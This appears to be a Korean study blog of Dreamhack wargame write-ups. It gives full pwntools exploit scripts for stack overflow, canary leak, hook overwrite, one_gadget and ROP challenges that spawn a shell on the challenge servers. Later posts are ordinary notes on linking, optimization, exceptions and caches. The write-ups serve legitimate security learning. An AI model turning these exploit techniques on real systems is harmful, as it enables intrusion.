Full RELRO 적용되더라도 libc 데이터 영역에는 쓰기 가능하므로 FULL RELRO 우회하는 기법이기도 함

one_gadget

libc 내에 존재하는 가젯
기존에는 셸 실행하려면 여러개 가젯 조합해 ROP chain 구성
- 원가젯은 단일 가젯만으로도 실행 가능

설치방법 one_gadget github link
```
Apt install ruby
Gem install one_gadget
```

4. fho

4-1 code 분석

checksec fho

Full RELRO 이므로 Hook Overwrite 가 가능하다면 시도해 볼 것
fho.c

bof 가능
- canary leak
addr 포인터에 주소 지정가능
- free Hook 주소
value값에 system() payload 삽입
마지막 scanf에는 "/bin/sh"를 함으로써 Hooking 작업

fho.py

from pwn import *

binary = './fho'
p = remote('host1.dreamhack.games',15343)
e = ELF(binary)
libc = ELF('libc-2.27.so')

# [1] Leak libc base
buf = 'A' * 0x48
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00' * 2)
libc_base = libc_start_main_xx - (libc.sym['__libc_start_main'] + 231)
#libc_base = libc_start_main_xx - libc.libc_start_main_return

system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))


#encode(encoding='UTF-8'), default = UTF-8
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())

p.recvuntil('To free: ')
p.sendline(str(binsh).encode())

p.interactive()

__libc_start_main + 231 : 실제 서버에서 사용하는 libc 버젼이 다르기 때문

5. oneshot

5-1 code 분석

oneshot.c

#include 
#include 
#include 
#include 

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

Partial RELRO
Bof 가능
payload 작성시 size_t check > 0 이 되면 안된다는 것을 명심

5-2 exploit code

from pwn import *

p = remote('host1.dreamhack.games', 18201)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
stdout_offset = libc.sym['_IO_2_1_stdout_']

lb = stdout - stdout_offset
og = lb + 0x45216

payload = b'A'*0x18 + b'\x00' * 8 + b'B' * 8 + p64(og)
p.sendafter("MSG: ", payload)
p.interactive()

원가젯 통해서 Exploit 코드 작성 (Ret 부분에 og 삽입)
check 변수는 0보다 크면 안되기 때문에 0으로 설정

6. hook

hook.c

#include 
#include 
#include 
#include 

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

FULL RELRO이므로 hook overwrite 시도
사이즈 bof 가능하도록 충분히 큰값 설정가능
hooking 위해 free hook 주소와, one_gadget payload 작성

6-2 exploit code

from pwn import *

p = remote('host1.dreamhack.games', 13475)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')

p.recvuntil('stdout: ')
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.sym['_IO_2_1_stdout_']

free_hook = lb + libc.sym['__free_hook']
p.sendlineafter("Size: ", b"400")

og = lb + 0x4527a

payload = p64(free_hook) + p64(og)
p.sendlineafter("Data: ", payload)

p.interactive()

[드림핵-시스템] Mitigation: NX & ASLR

Thu, 02 Jan 2025 12:16:40 GMT

1. NX, ASLR

1-1 NX

실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역 분리하는 보호 기법

코드 영역 쓰기 권한 있을 경우 공격자가 수정시 원하는 코드 실행 가능
스택, 데이터 영역 실행 권한 : Return to shellcode 같은 공격 시도 가능

1-1-1 gdb vmmap

NX 적용 전후의 메모리 맵 비교가능

적용 X bin: 스택영역 실행 권한 존재 - rwx(nx-disabled)
적용 O bin : 코드 영역 ㅗ이 실행 권한 X
-zexecstack 옵션 제거후 컴파일시 nx 활성화 됨

1-2 ASLR

바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등 임의의 주소에 할당하는 보호 기법

cat /proc /sys/kernel/randomize_va_sapce

No ASLR - 0 : ASLR 적용 X
Conservative Randomization - 1 : 스택, 라이브러리, vdso 등
conservative Randomization + brk - 2 : 1의 영역과 brk로 할당한 영역

1-2-1 특징

코드 영역의 Main 함수 제외한 다른 영역의 주소들은 실행마다 변경됨 -> 실행 전 주소 예측 불가능
libc_base, printf 주소 하위 12비트 값 변경 X
- 리눅스 ASLR 적용시 파일을 페이지 단위로 임의 주소에 매핑, 페이지의 크기인 12비트 이하로는 주소 변경 X
- libc_base, printf 주소차이 항상 같다 : 라이브러리 파일 그대로 매핑 -> 심볼들 간의 Offset은 항상 일정
반환주소 쉘코드 직접 덮는 대신 이들 활용시 NX, ASLR 우회하여 공격 가능
- Return-To-Libc (RTL)
- Return-Oriented-Programming (ROP)

2. Library

컴퓨터 시스템에서 프로그램들이 함수나 변수 공유해서 사용할 수 있게 한다. 반복적으로 정의해야하는 수고를 덜어주기 때문에 개발의 효율 상승

2-1 Dynamic library link

바이너리 실행시 라이브러리가 프로세스의 메모리에 매핑
실행 중에 라이브러리의 함수 호출시 매핑된 라이브러리에서 호출한 함수의 주소를 찾고 그 함수 실행
PLT(Procedure Linkage Table)와 같은 주소 가져옴

2-2 Static library link

바이너리에 정적 라이브러리의 필요한 모든 함수 포함
해당 함수 호출시 라이브러리를 참조하는 것이 아니라 자신의 함수 호출하는것처럼 호출 가능
바이너리에서 라이브러리 사용시 그 라이브러리 복제가 여러번 이루어지게 되므로 용량 낭비

3. PlT & GOT

첫 호출

GOT에는 함수의 주소가 저장되어 있지 않음
dl_resolve 함수 실행하여 해당 함수의 주소를 GOT에 저장

두번째 이후
- GOT의 주소 가져옴

runtime resolve : 바이너리 실행되면 ASLR에 의해 임의의 주소에 매핑, 이 상태에서 라이브러리 함수 호출시 함수의 이름 바탕으로 라이브러리에서 심블들 탬색하고, 함수 발견시 그 주소로 실행 흐름을 옮기는 과정

반복 호출되는 함수 정의 매번 탐색시 비효율 -> ELF는 GOT(Global Offset Table)라는 테이블 두고, Resolve된 함수의 주소 해당 테이블에 저장
gdb got : GOT 상태 보여주는 명령어

puts 호출 시나리오

주소 찾기전 : plt section 어딘가에 주소 적혀있음, 해당 주소에 breakpoint
- PLT : 함수 실행전 주소 != 호출후 주소
- GOT : 함수 실행전 주소 == 호출후 주소
dl_runtime_resolve_fxsae 호출됨 : 해당 함수에서 puts 주소 구해지고, GOT 엔트리에 주소 슨다.
이후 빠져오면 GOT 엔트리에 LIBC 영역 내에 puts 주소 쓰여짐

시스템 해킹관점 PLT, GOT

동적 링크된 바이너리에서 라이브러리 함수 주소 찾고, 기록시 사용되는 중요한 테이블
PLT에서 GOT 참조하여 실행흐름 옮길때 GOT의 값을 검증하지 않는다는 보안상의 약점 존재
- puts의 GOT 엔트리에 저장된 값을 공격자가 임의로 변경 가능하면 puts 호출될때 원하는 코드 실행가능 => GOT OVerwrite

4. Return To Library

NX로 인해 공격자가 버퍼에 주입한 쉘코드 실행 어렵지만 스택 버퍼 오버플로우 취약점으로 반환 주소 덮는 것은 여전히 가능 -> 실행 권한 남아있는 코드 영역으로 반환 주소 덮는 공격 기법 고안
프로세스에 실행권한이 있는 메모리 영역 : 바이너리의 코드 영역, 바이너리가 참조하는 라이브러리의 코드영역

4-1 코드 분석

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include 
#include 

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

접근 방법

gdb를 통하여 main 함수영역 들여다 보기
- buf <=> sfp : 0x40
- buf <=> cnry : 0x40 - 0x8 = 0x38
- \x00 합한 payload를 보내서 cnry 주소 가져옴
"/bin/sh", system, pop rdi, ret 주소 파악한 이후

4-2 Exploit code

from pwn import *

def slog(name, addr):
    return success(' : '.join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 22421)
e = ELF("./rtl")
libc = e.libc
rop = ROP(e)

context.arch = 'amd64'

buf2sfp = 0x40
buf2cnry = buf2sfp - 0x8
payload = b'A' * (buf2cnry + 1)
p.sendafter('Buf:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))

slog("Cnry", cnry)

system_plt = e.symbols['system']
sh = next(e.search(b'/bin/sh'))
pop_rdi = rop.find_gadget(['pop rdi'])[0]
ret = rop.find_gadget(['ret'])[0]

payload = b'A' * buf2cnry
payload += p64(cnry)
payload += b'A' * 0x8
payload += p64(ret) + p64(pop_rdi) + p64(sh) + p64(system_plt)

p.sendafter("Buf: ", payload)

p.interactive()

payload 분석

system_plt = 위에서 system() 호출했기 때문에 Plt에 저장됨, 해당 주소 참조
특정 문자열 가져오기 : next(e.search(b'/bin/sh'))
ROPgadget 가져와야함
- system(rdi) -> rdi에 /bin/sh 이 저장되도록 한 이후 system 호출 되게 해야함
- pop rdi; ret gadget 필요
- MOVAPS : Ubuntu 18.04 .. 이후 부터 stack align 필요

4-3 details

4-3-1 finding gadget

명령어로 찾기 (pop rdi; ret, ret) - 두개 찾기
- ROPgadget --binary ./filename --re 'pop rdi'
- ROPgadget --binary ./filename | grep 'pop rdi'
pwntools로 찾기
- ROP(ELF('./filename')).find_gadget(['pop rdi'])[0]
- [0] : addr

4-3-2 Stack align

위에서 ret이 한번더 필요한 이유 : system()의 주소가 0x10의 배수여야함

잘못 정렬된 ROP 사용되었을때 호환성 문제 일으킴, X86_64 기준 16 byte이 아닌 데이터에서 작동하려 할때 General Protection Exception 발생

call 실행 직전 RSP는 16의 배수 (0x10)
RBP는 항상 16의 배수
함수 프롤로그 실행 후 RSP는 16의 배수
함수의 entry point에선 RSP +8이 16의 배수...

스택 상황 : sfp -> ret

sfp는 0x10의 배수
ret추가 안힐시 system()은 0x10의 배수가 아니게됨 -> error

5. ROP

5-1 code 분석

#include 
#include 

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

bof 가능
- canary 값 가져온 이후에 exploit 코드 수행

5-2 exploit code

#! /bin/usr/python3

from pwn import *

def slog(name, addr):
    return success(" : ".join([name, hex(addr)]))

#p = process('./rop')
p = remote("host1.dreamhack.games", 9677)
e = ELF('./rop')
libc = ELF("./libc.so.6")

context.arch = 'amd64'

buf2sfp = 0x40
buf2cnry = buf2sfp - 0x8

payload = b'A' * (buf2cnry +1)
p.sendafter("Buf:", payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))

slog("cnry", cnry)

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

payload = b'A' *0x38 + p64(cnry) + b'B' * 0x8

# write(1, read_got, ..)
payload += p64(pop_rdi) + p64(1) #rdi = 1

#rsi =read_goi, r15 = 0
#usually 3rd arg = rdx, but finding rdx gadget is difficut
#and that arg is work not important in this program
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

#read(0, read_got, ...)
#GOT overwrite
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

#read("/bin/sh") == system("bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret) #stack align
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read'] #libc base addr
system = lb + libc.symbols['system']

slog('read', read)
slog('libc_base', lb)
slog('system', system)

#send payload about read(0, read_got, ..)
p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

3번째 arg는 rdx이지만 찾는것은 어렵고 실제로 중요한 역할을 하는 것이 아니기에 해당 코드에서는 r15를 사용
recvn(6) + b'\x00' * 2하는 이유
- libc에서 함수 맨앞의 2바이트 \x00\x00 형태로 정렬 해둠

6. BasicRop_x64

6-1 코드 분석

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

checksec 통해서 canary 없는것과, x64 형태인 것을 확인

buf 의 크기는 0x40, read함수는 0x400까지 입력 받음
- bof 가능

6-2 exploit code

#! /bin/usr/python3

from pwn import *

def slog(name, addr):
    return success(" : ".join([name, hex(addr)]))

binary = "./basic_rop_x64"
p = remote("host3.dreamhack.games", 21292)
e = ELF(binary)
libc = ELF("./libc.so.6", checksec = False)
r = ROP(e)

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
main = e.sym['main']

sh = list(libc.search(b'/bin/sh'))[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]

payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt) + p64(main)

p.send(payload)

p.recvuntil(b'A' * 0x40)

read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.sym['read']
system = lb + libc.sym['system']
binsh = lb + sh

payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b'A' * 0x40)

p.interactive()

read_got 주소 파악
- libc 주소와의 거리 파악하기 위함
main으로 return 할 payload 작성
- Read함수 에서 read_got 값 가져오고
- write에서 main으로 돌아가야함
  - payload를 보내야 read_got의 주소를 recv를 할 수 있기 때문
두번째 main함수 진입
- read함수에서 system("/bin/sh") 실행

7. BaiscRop_x86

7-1 code 분석

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

checksec : canary X, x86형태(4bytes)
bof 가능

7-2 exploit 코드

#! /bin/usr/python3

from pwn import *

def slog(name, addr):
    return success(" : ".join([name, hex(addr)]))

binary = "basic_rop_x86"
p = remote("host3.dreamhack.games", 23049)
e = ELF(binary)
r = ROP(e)
libc = ELF("libc.so.6")

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh = list(libc.search(b'/bin/sh'))[0]

pop3ret = 0x08048689
p1ret = 0x0804868b

payload = b'A'* 0x48

#write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pop3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

# return to main
payload += p32(main)
p.send(payload)

p.recvuntil(b'A' * 0x40)
read = u32(p.recvn(4))
lb = read - read_offset
system = lb + system_offset
binsh = binsh + lb

payload = b'A' * 0x48

#system("/bin/sh")
payload += p32(system)
payload += p32(p1ret) + p32(binsh)

p.send(payload)
p.recvuntil(b'A' * 0x40)

p.interactive()

x86 : 4byte
stack에 저장해서 가져오기때문에 x64와 다른형식으로 코드 작성해야함
- 따로 글 작성예정
stack에서 pop만 신경써서 작성하면 x64와 코드 유사

Exceptional Control Flow

Wed, 01 Jan 2025 13:18:21 GMT

1. Exceptions and Processes

Jump, branch, call, ret => program state
0으로 나누는 명령어, 키보드 명령어 ... 등은 system state 변화시킴
- 예외적인 control flow 필요

1-1 Exceptional Control Flow

low level
- Exceptions : H/W, OS S/W의 조합등을 이용해서 구현
Higher level
- Process Context switch : OS SW and HW
- Signals : OS SW
- Nonlocal jumps : C runtime library

1-2 Excepion

여러 예외 상황 발생할때 마다 Kernel로 context switch
kernel은 해당 예외 보고 handler 통해 처리
이후 현재 작업으로 다시 돌아갈지, 다른 작업 할지, 중단 할지 정함
Excption Tables

해당 테이블에는 Exception numbers를 가지는 Exception 들어있다
각 ecxception들은 주소값을 가지고 event handler가 해당 주소 참조

동기화 예외

Timer interrupt, 외부 디바이스로부터의 I/O interrupt

1.. Traps : 의도적으로 프로그램이 일으킬수 있는 시스템 콜

system call : read, write, open, close, fork, execve ...
returns control to "next" instruction
1. Faults : 의도적이진 않지만 회복 가능
page faults protection faults
1. Aborts : 의도하지 않았고, 회복이 불가능한 상태
illegal instruction, parity error(S/DRAM data 변조시)

1-3 Processes

메모리에 적재되어 실해중인 프로그램
프로세스는 각 프로그램에게 두개의 중요한 추상적 정보 제공
- logical control flow
  - 각 프로그램은 독립적으로 CPU 사용 가능
  - context switch 커널 메커니즘 제공
  - 독립적 Logical flow 가지고 동시에 수행
- Private address space
  - 각 프로그램은 메인을 독점적으로 사용
  - 가상 메모리는 커널 메커니즘 제공
Multiprocessing
- 현재 레지스터를 메모리에 저장 => 다른거 실행하기 위해 back-up
- 실행을 위해 다른 프로세스 스케쥴링
- 저장된 레지스터를 적재하고 address space 바꿈 => 문맥전환
- Main memory 공유
Concurrent Processes
- A -> B -> A (다시 돌아옴)
Sequenttial
- A -> B (종료된 후 시작)
Context Switching
- process A -> B 로 바뀔때
- 각 모드를 바꿈(user, root, kernel ...)
System Call Error handling
- error no : return -1
- 정상 : 0
- Error-handling wrappers 사용 이유
- cost size 감소, Readability 증가(모듈화, 재사용성)
- Terminate
  - main에서 Ret
  - exit : void type func, 정상 : return 0
int fork(void)
- child : return 0
- parents : return 0이 아닌값
- 부모의 contents를 복사한채로 가져옴, 분리되어있다
- return 2개, child = 0, parents != 0 => 서로 다른 PID

부모의 프로세스가 먼저 실행될지, 자식의 프로세스가 먼저 실행될지는 예상하지 못함

흐름은 Left -> Right가 되어야함 => e -> f = R -> L

Optimization

Wed, 01 Jan 2025 12:59:38 GMT

1. Optimization

1-1 Program Optimization

컴파일러는 최적화를 해줌

곱하기 보다 덧셈이 빠르다
불필요한 연산 컴파일러가 줄여줌

빨간색 부분 매번 계산하기 때문에 효율 낮음

컴파일러는 오른쪽 그림처럼 되게끔 최적화 작업 수행

최적화 단계 0~3 까지 있는데 단계가 높다고 다 빠르지 않음 전부 수행해보며 빠른 것으로 채택

optimization 높다고 빨라지는 것은 아님 잘못된 판단 있을 수 있고, 옳다 하더라도 코드가 추가 될 수 있다.

1-2 Optimizatoin Blocker

컴파일러가 만질 수 없는 부분

프로그램의 동작이 달라질 수 있기 때문
e.g. procedure calls ...

Output이 달라질 수 있다. 즉 프로그램의 동작에 이상이 생길 수 있기 때문에 strlen을 옮기지 않고 그대로 실행

프로그래머가 직접 해당 함수 옮겨야함

1-3 Memory Aliasing

a, b는 포인털써 어떤 메모리의 주소를 각자 가리키고 있을텐데 만약 a, b외에 c라는 다른 포인터가 같은 메모리 공간 가리키고 있을 때의 상황을 의미

최적화 불가능

b[I] += a[I*n + j]; 에서 b[I]에다 a를 더하고 있다. Double b[3] = A + 3; 과 같이 B가 배열 A의 중간 어딘가 부분을 가리키고 있었다고 하자 -> 이것이 memory aliasing, A는 크기가 9인 메모리 공간을 가리키고 있을텐데, B가 A의 한 가운데인 {4, 8 , 16} 쪽을 가리키고 있다.
- 해결방법
memory aliasing 대신에 val += a[I*n]+j] 처럼 하여 b[I]에다 val 할당

2. Program Optimization 2

2-1 Benchmark

어떤 특정 기능의 성능 알고 싶을 때 그 기능에 대해 계속 스트레스를 주입해 성능 파악하는 것

해당 함수는 idx 인덱스에 들어있는 값을 얻어와 val 포인터가 가리키고 있는 메모리에 저장

daat_t, int, long, float, double 등의 어떤 데이터 타입 할당하는가에 따른 성능 분석하는 benchmark

v의 Length 만큼 For문을 돌면서 벡터의 각 원소의 값을 가져와서 현재 리턴할 값에다가 덧셈 또는 곱셈을 해준다.

초기값이 0이면 덧셈, 1이면 곱셈

CPE = Cycles per OP = input element 갯수, n = Length

T = CPE * n + Overhead
CPE 많아질수록 걸리는 시간 커질텐데, slope가 낮아질수록 직선의 기울기가 낮아서 성능이 더좋은것

int, double를 부여했을때 덧셈, 곱셈의 수행시간 나타낸 것

-O1 compile => 옵션 부여 X 시간 / 2

더 최적화 하는 방법
- length를 Loop 밖에서 받도록 컴파일러에서 최적화 -> 이 내용을 코드로 다시 작성 후 compile

직접 code motion 한게 -O1보다 성능 좋음

컴파일시 최적화 옵션 준 후 코드 수정된 것을 code motion 통해 수정시 대폭 향상

Latency Bound : 최소 처리 지연시간(처리하는데 걸리는 시간)

연산 속도가 상황에 따라 다를텐데, 아무리 빨라도 이 시간보다 빠를 수 없다

Int, add가 월등히 빠름

Linking

Wed, 01 Jan 2025 12:33:59 GMT

1. Linking

1-1 about

여러개의 코드와 데이터를 통합, 연결 하여 실행될 수 있는 하나의 파일로 만드는 작업

사용 이유

Modularity(모듈화)
- 하나의 거대한 파일이 아니라 여러개의 작은 source 파일이 모여 하나의 걷한 파일을 이룰 수 있으며, 라이브러리를 만들 때도 유용하게 쓰임
Efficienc
- 여러개의 작은 source 파일로 나누게 되면 특정 source 파일만 다시 컴파일만 하고 linking 거치게 되면 시간적인 측면에서 효율적

역할

symbol table 만들어서 Global, static 변수 등 알려줌
Relocation
- linking 위해 서로 분류된 소스 파일에서 함수 call할때, 함수가 위치한 주소 알아야한다. 이에 Linker가 서로 다른 section에 있는 data들을 하나의 section으로 합치는 작업을 하게 되고, symbol table에 며이된 ㅣocation을 Relocation 하여 새로운 주소로 바꿔주는 작업

1-2 ELF(Executable and Linkable Format)

bss -값 정의되지 않은 global 변수 저장 -어느정도의 size를 잡아야하는지에 초점 맞추게됨 -int a[100];

1-3 Linker SYMBOLS

링킹 시작시 각 파일에 존재하는 함수, 변수에 대해 분리작업 거치게 되는데 3가지 분류로 나뉨

Global symbol
- global 변수로 정의된 변수들의 총 집합, 다른 모듈에서도 접근 및 사용 가능(extern 명시한 경우)
- non-staic C function, non-static C global variable
- 접근할 경우 Link error 유발할 수 있으며, symbol table에 들어가지 않는다
External Symbol -global 변수를 나타내지만, 파일내 가 아닌 다른 파일에서 명시된 변수나 함수
Local symbols
- module 밖에서 정의된 symbol
- 다른 모듈에서 접근 불가능
- static으로 정의된 C function, variable
- local 변수와 Local linker symbol은 완전히 다름

1-3-1 Linker's SYmbol Rules

Type

Strong symbol : Procedures(함수 이름), Initialized variables(.data에 저장되는 변수들)
Weak symbol : uninitialized variables(.bss)

Rules

Rule 1 : Multiple strong symbols are not allowed
- strong symbol 에서 변수, 함수의 선언은 오직 한번만 허용
- 어길시 link error
Rule 2 : Given a Strong symbol and multiple weak symbols, choose the strong symbols
- weak symbol에 대한 reference들이 strong symbol로 바뀌게 됨
- 에러가 발생하진 않음, symbol이 뒤바뀌면서 원하는 프로그램이 작동하지 않을 수 있다.
Rule 3 : If there are multiple weak symbols, pick an arbitary one
- randomly 선택
- 가장 위험한 상황

p1() {} : 서로 다른 c 파일에서 선언됨, Rule 1 위반 -> link error

weak symbol이 동시에 서로 다른 파일에 정의 -> randim하게 변수 설정

p1에서 x로 접근시, p2도 똑같은 x로 접근하게됨

int, double 서로 다른 data type 형태로 같은 이름으로 변수 저장 -> Random하게 변수 선택

P2의 double이 선택될 경우 큰문제 발생 X
p1의 int 선택될 시 p2(){}에서 int x의 값을 받아와서 값을 수정할때 int와 인접한 data인 int y가 overwrite될 수 있음

반드시 overwrite 발생, int x = 7;은 strong symbol -> double x가 아닌 Int x 채택됨 이후 y = 5;가 저장, 즉 x, y는 인접한 데이터로 저장 -p2(){..}에서 x값 수정시 8바이트 수정이 되어 y의 값이 훼손

strong symbol인 int x = 7 선택

p2(){}에서도 해당 x 접근

컴파일 상 문제 x, 원하는 프로그램 구현 불가능

1-4 Relocation entries

a : R_X86_64_32 array
- a 주소에 있는 값을 array 주소로 바꿔라
f : R~ sum - 0x4

f 주소에 있는 값을 sum의 상대주소로 바꿔라

1-5 Library

구식 : Static Libraries

연관된 obj 파일들 하나로 묶어 관리, 아카이브라 불리며, 일종의 압축 파일
아카이브에 속한 파일의 정보 링커에게 알려주기 위한 인덱스 포함
링커는 순회하며 symbol 찾아야함
1. static library 만들기
각각의 c 파일 각각의 relocate obj파일로 만든다
아카이브 통해 하나의 아카이브로 묶는다. 아카이브는 묶어주는 작업을 하는 프로그램
1. static 단점
실행파일마다 라이브러리를 필요로 하므로 라이브러리 중복
실행파일 중복(실행프로그램 데이터의 중복)
라이브러리를 수정하면 모든 실행파일에 대해 Relink 해야함
4. 현대식 : Shared libraries
라이브러리 필요시 그때 그때 필요한 정보 빼오면 됨
필요한 정보 빼오기를 런타임에 수행
- 런타임 중 printf 발견시 그 시점에 관련 정보 빼옴
- 과거에 메모리에 올려놓은 것이 있다면 그 정보 이용

Memory of System

Wed, 01 Jan 2025 11:48:59 GMT

1. Memry Hierarchy

bus 가져오는 시간만 고려하더라도 register 안에 있는 값들 끼리의 연산이 빠르다

SSD(Solid State Disks)

안에 flassh memory가 있고 블록들이 있으며 블록은 저마다 여러 Page 가짐
각 블록은 덮어쓰기가 안됨 : 데이터가 있는 경우 지운 후 update 하기 때문에 수명이 길지 않다.

1-1 locality

시간 지역성(Temporal) : 한번 접근한 메모리 위치에 대해 가까운 미래에 다시 접근할 확률이 높은 것

루프에서 반복적으로 사용되는 변수, 배열의 경우
2. 공간 지역성(Spatial) : 한번 접근한 메모리 위치의 근처에 있는 메모리 위치에 가까운 미래에 접근할 확률이 높은 것 의미 - 배열 순차 접근, 구조체 필드 참조시

지역성 높을수록 : CPU Cache hit rate이 높아져 프로그램의 실행속도 빨라짐

1-2 General Cache Concepts

CPu 연산 속도, Memory에서 가져오는 속도 간의 차이 -> 병목 현상 발생
- Cache hit : 캐시에 있을경우
Cache miss : 없을경우(메모리에서 찾는다)
Cach Memories

캐시 먼저 검사후 있으면 가져감, 없으면 메모리에 request -> 느려짐

캐시의 세트수 S = 2 ^ s

집합의 선(블록) 수 K = 2 ^ k

한줄의 바이트 수 : B = 2 ^ b

캐시 사이즈 C = E B S

특정 주소 읽어오는 과정

tag : 캐시에서 해당 line 찾는데 사용

set index : 캐시의 행중 몇번째 줄인지, 몇번째 set인지 가리킴

block offset : line안에서 Meta data 저장하고 있는 Bbytes 공간안에서 세부적으로 정확히 어떤 데이터를 가리키는지 저장

1-2-1 E = 1

set offset : 00...01 = 2번째 행

100 : 4번째 행부터, Int : 4bytes 크기만큼 가져온다

마지막으로 valid, tag 확인

tag 정확 but valid 0 : 기존의 값이 오래된 데이터 저장 -> 새로운 데이터로 덮어씌움

반대 : 다른 사람이 쓰고 있다, 다른거 쓰던지 다른방법으로 처리

시나리오 1

0000 : tag = 0, set = 00, block = 0

v = 0 -> miss

맨처음 캐시에 접근하는 경우는 무조건 Miss

set 0 : valid = 1, tag = 0, block = M[0-1]

0001 : tag = 0, set = 00, block = 0

v = 1, tag = 0 -> hit
3. 0111 : tag = 0, set = 11, block = 1
set 3 : valie = 0 -> miss
set 3 : valid = 1, tag = 0, blcok = M[6-7]
4. 1000 : tag = 1, set = 0, block = 0
기존 set 0 : valid, tag = 0 -> tag 일치하지 않으므로 -> miss
새로운 tag값 입력 set 0 : v = 1, tag = 1, block = M[8-9]
5. 0000 : tag = 0, set = 0, block = 0 - 방금 8접근으로 인한 Tag값 변경 -> miss - set 0 : valid = 1, set = 0, block = M[0-1]

1-2-2 E = 2

E = 2 => columns = 2

안쓰이는 Tag에 사용가능

Types of Cache Misses

Cold(Compulsory) miss : 캐시 비어있을 때 -> 첫번째 접근 miss(부팅시 캐시 X)

Capacity miss : 캐시 용량 부족

프로그램 수행시 접근하는 데이터의 야이 캐시의 사이즈 넘어갈 경우
1. conflict : set의 way 부족

시나리오 2

set offset 2 -> 1, tag 1-> 2

00 0 0: tag 00, set0, block 0

set 0 : 비어있는 상태 -> miss
set 0 : v = 1, tag = 00, blockoffset = M[0-1]
2. 00 0 1 : set 0, tag 00
set 0 : v = 1, tag = 00 -> hit
3. 01 1 1 : set 1, tag = 01
set 1 : empty -> miss
set1 : v = 1, tag = 01, block offset M[6-7]
4. 10 0 0 : set 0, tag 10
set 0 : v = 1, tag 매칭 x -> miss
빈자리 tag 10 설정
5. 00 0 0 : 10 0 0 이 다른 영역 init했기 때문에 Hit

1-3 캐시 성능 분석 위한 단위

Miss Rate

메모리에서 가져온 비율
2. Hit Time
L1 : 4 clock
l2 : 10 clock
hit time 보다 데이터를 빨리 가져올 수 없음
3. Miss Penalty
데이터 못가져오는 경우 L3 or Main memory에서 가져와야함
50, 200 cycles
4. Hit rate 계산 : cache hit time 1 cycle, miss penalty 100 cycles라 가정
97% hit : 1 + 0.03 * 100 = 4
99% hit : 1 + 0.01 * 100 = 2

[드림핵 -시스템] Stack Canary

Thu, 26 Dec 2024 12:50:01 GMT

